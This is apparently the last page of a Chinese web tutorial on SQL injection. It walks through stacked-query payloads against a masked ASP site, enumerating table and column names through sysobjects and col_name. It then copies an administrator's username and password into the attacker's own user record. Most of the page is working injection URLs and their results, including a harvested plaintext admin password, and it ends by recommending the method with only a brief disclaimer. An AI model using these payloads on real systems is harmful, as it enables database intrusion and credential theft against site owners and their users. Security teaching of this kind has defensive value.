WEB开发网
开发学院数据库MSSQL Server 有孔就入 SQL Injection的深入探讨 阅读

有孔就入 SQL Injection的深入探讨

 2007-05-19 09:43:25 来源:WEB开发网   
核心提示: 得到第一个表lmuser的id标识号为:363148339http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xty

得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--

得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。

好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),1)
from admin) where id=103534;--

得到第1个字段为:id

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),2)
from admin) where id=103534;--

得到第2个字段为:username

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),3)
from admin) where id=103534;--

得到第2个字段为:password

到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。

我们拿到的id值是44

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 username from admin
where id=44) where id=103534;--

将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 password from admin
where id=44) where id=103534;--

将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

怎么样,拿到密码了吧?

四、总结

在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!

上一页  1 2 3 4 5 

Tags:SQL Injection 深入

编辑录入:coldstar [复制链接] [打 印]
赞助商链接